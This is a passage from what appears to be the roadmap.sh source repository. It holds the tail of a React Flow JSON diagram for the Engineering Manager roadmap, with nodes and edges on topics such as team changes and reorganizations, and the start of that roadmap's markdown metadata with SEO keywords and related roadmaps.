\"wXHFzVuZbly4ozgorQyIS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1265.0111243623878,\n        \"y\": 3820.407712908699\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"oAFjp_PXki2LGf505qIgQ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1097.204465965453,\n        \"y\": 3854.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"w5iEx-0HeFWgvrx8WrZ2r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1097.204465965453,\n        \"y\": 3854.5\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"qylp71gPynDqjSvsSYe6I\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 744.8829633399996,\n        \"y\": 4083.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"w5iEx-0HeFWgvrx8WrZ2r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 461,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 461,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 744.8829633399996,\n        \"y\": 4083.5\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 461,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"wXHFzVuZbly4ozgorQyIS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 537.7747255024569,\n        \"y\": 3901.0199534721323\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Change\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 537.7747255024569,\n        \"y\": 3901.0199534721323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5_CE3p5jMA1uEqFNfp7Kh\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Reorganizations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 464.77472550245693,\n        \"y\": 3941.5768087562637\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 464.77472550245693,\n        \"y\": 3941.5768087562637\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ph0U4l2alVJ8lUJ96q7co\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Team mergers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 464.77472550245693,\n        \"y\": 3993.5768087562637\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 464.77472550245693,\n        \"y\": 3993.5768087562637\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FayHWdUHHYFFBwnXx37Gk\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Role transitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4045.5768087562637\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4045.5768087562637\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eIlW4mZKNQfBsTDmZf7ex\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Responsibility shifts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4097.576808756264\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4097.576808756264\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y7YHIz7OI4sNfC_nhfLcu\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Culture evolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4149.576808756264\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 464.77472550245693,\n        \"y\": 4149.576808756264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 285,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1147.8012698108323,\n        \"y\": 4342.55900341283\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Software Design & Architecture\",\n        \"href\": \"https://roadmap.sh/software-design-architecture\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1147.8012698108323,\n        \"y\": 4342.55900341283\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w5iEx-0HeFWgvrx8WrZ2r\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 744.8829633399996,\n        \"y\": 4164.076808756264\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 346,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 346,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 744.8829633399996,\n        \"y\": 4164.076808756264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 346,\n        \"height\": 20\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 113,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1077.9180934525762,\n        \"y\": 4175.41334597972\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 1077.9180934525762,\n        \"y\": 4175.41334597972\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 113\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 113\n      }\n    },\n    {\n      \"id\": \"lGgcjbbv3WAMOEi_NUZYh\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 425.97033412372843,\n        \"y\": -89.80917212901248\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"LbEYhBU4a3KcEjU2gSJZF\",\n            \"label\": \"Backend Development\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"vYyCCHORoGY_av-xKYo0W\",\n            \"label\": \"DevOps Engineering\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"y_H-6Syl9kgjV8kH5KE_m\",\n            \"label\": \"System Design\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"jvjB76BAVIvPOEfFRJD95\",\n            \"label\": \"Software Architect\",\n            \"url\": \"https://roadmap.sh/software-architect\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 196,\n      \"positionAbsolute\": {\n        \"x\": 425.97033412372843,\n        \"y\": -89.80917212901248\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 196\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"q6DVDXXLPJB7L77vokLIG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1338.8829633399996,\n        \"y\": 311.4750817808702\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 132,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 132\n      },\n      \"positionAbsolute\": {\n        \"x\": 1338.8829633399996,\n        \"y\": 313.4750817808702\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 132\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oKbeLp4YB8rI1Q3vi0EnG\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUy2-oKbeLp4YB8rI1Q3vi0EnGz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aSZ2uVCmpAdEPjJt6VKG4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUz2-aSZ2uVCmpAdEPjJt6VKG4y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-_hYN0gEi9BL24nptEtXWUw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_V1bNZwDOIKF_bskubGTG\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUx2-X_nhWY6Veipg2OWISeJEaw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3GHnbaEa6iE9ixxAYyUa0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"1o3_OVrAIoJqNbrSwYReg\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UoHPKOKUHF2avXFUT5Vz4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qfA7QHA7RQY1qTdIFNzhv\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-xKFDpqkzQ6EvTDixM0_hiz2-qfA7QHA7RQY1qTdIFNzhvy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7sz1w4O4pKfoTBgTwpm9P\",\n      \"sourceHandle\": \"x2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"FqTvmj78jmAfNIsjOeUqp\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BY5rqe9DC0iZoE2JpfCqz\",\n      \"sourceHandle\": \"x2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"lbeqCuOg9ze6ByVtw2H2a\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"BY5rqe9DC0iZoE2JpfCqz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"ohkMVELX-G8YAA3OoGFn3\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X8eLF6i4Q2AdAG_1Yoh63\",\n      \"sourceHandle\": \"x2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"duovbLIMNEsPkKFK43Vd6\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"X8eLF6i4Q2AdAG_1Yoh63\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"OuA5cFzoITywaG-8AX7Np\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X_nhWY6Veipg2OWISeJEa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kOOzXG97rv2heF-i6CudZ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-X_nhWY6Veipg2OWISeJEax2-kOOzXG97rv2heF-i6CudZw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X8b4Mang8X69ZL54MUp_Y\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jt-LF5QbGVs0cwTuHFQF6\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-X8b4Mang8X69ZL54MUp_Yx2-6shGmkSVDCch9z6rspSRCw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jt-LF5QbGVs0cwTuHFQF6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fQbBVljA0ECDGOlxO0GmQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6shGmkSVDCch9z6rspSRCy2-fQbBVljA0ECDGOlxO0GmQz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fQbBVljA0ECDGOlxO0GmQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ad29W87dmCPd4pATKchVk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fQbBVljA0ECDGOlxO0GmQy2-ad29W87dmCPd4pATKchVkz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ad29W87dmCPd4pATKchVk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JCjb-qZuoQqGWrHpTw4tD\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ad29W87dmCPd4pATKchVkx2-JCjb-qZuoQqGWrHpTw4tDw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6shGmkSVDCch9z6rspSRC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vpfqQSOhBDHvhTGmDjYyi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6shGmkSVDCch9z6rspSRCz2-vpfqQSOhBDHvhTGmDjYyiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vpfqQSOhBDHvhTGmDjYyi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3GHnbaEa6iE9ixxAYyUa0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vpfqQSOhBDHvhTGmDjYyix2-3GHnbaEa6iE9ixxAYyUa0w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UoHPKOKUHF2avXFUT5Vz4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iAsUXmTDnwvZTlH1_TKv0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-UoHPKOKUHF2avXFUT5Vz4x2-iAsUXmTDnwvZTlH1_TKv0w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bZ81ie09XsQw-YD17nBQ_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7vahmZfyKoHFz9Yq-Vb4C\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-bZ81ie09XsQw-YD17nBQ_x2-7vahmZfyKoHFz9Yq-Vb4Cw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bLx0NI1XEqYnuLhGOyWai\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xKFDpqkzQ6EvTDixM0_hi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-bLx0NI1XEqYnuLhGOyWaix2-xKFDpqkzQ6EvTDixM0_hiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"A5gwcZ-VHYAqHDJtrSQ6B\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"AaFZ7CM294tyEaLD_QrJP\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BY5rqe9DC0iZoE2JpfCqz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7sz1w4O4pKfoTBgTwpm9P\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-BY5rqe9DC0iZoE2JpfCqzx2-7sz1w4O4pKfoTBgTwpm9Pw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NGQOfGQWgTCrP9YxEwM9d\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"5HgB_00WqJqQjKMR0geed\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RF_sIeR2YhGf7g4htNV6\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MGkl-UZPEMJ7e7HzVfYyL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_RF_sIeR2YhGf7g4htNV6x2-MGkl-UZPEMJ7e7HzVfYyLw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gjz97vjZ1mrnWNm5gO4pP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"X_nhWY6Veipg2OWISeJEa\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-gjz97vjZ1mrnWNm5gO4pPx2-X_nhWY6Veipg2OWISeJEaw2\",\n      \"selected\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/engineering-manager.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/engineering-manager.pdf'\njsonUrl: '/jsons/roadmaps/engineering-manager.json'\norder: 20\ntitle: 'Engineering Manager'\ndescription: 'Everything you need to know to become a Engineering Manager.'\nbriefTitle: 'Engineering Manager'\nbriefDescription: 'Everything you need to know to become a Engineering Manager.'\nhasTopics: true\nisHidden: false\nisUpcoming: false\nisNew: false\npartner:\n  description: \"Ready-to use free on/offboarding templates for new employees\"\n  link: \"https://www.silo.team/book-a-demo-silo-team?utm_source=affiliate1&utm_medium=referral&utm_campaign=free_onboarding_checklist\"\n  linkText: \"silo.team\"\ndimensions:\n  width: 968\n  height: 3950\nschema:\n  headline: 'Engineering Manager'\n  description: 'Learn what engineering management is, what engineering managers do and how to become one using our community-driven roadmap.'\n  datePublished: '2024-11-18'\n  dateModified: '2024-11-18'\n  imageUrl: 'https://roadmap.sh/roadmaps/engineering-manager.png'\nseo:\n  title: 'Engineering Manager'\n  description: 'Learn what engineering management is, what engineering managers do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'engineering manager'\n    - 'engineering manager roadmap'\n    - 'engineering manager roadmap 2025'\n    - 'Engineering Management'\n    - 'become an Engineering Manager'\n    - 'tech leadership'\n    - 'software engineering manager'\n    - 'management skills'\n    - 'technical leadership'\n    - 'career roadmap'\nrelatedRoadmaps:\n  - 'backend'\n  - 'software-architect'\n  - 'system-design'\n 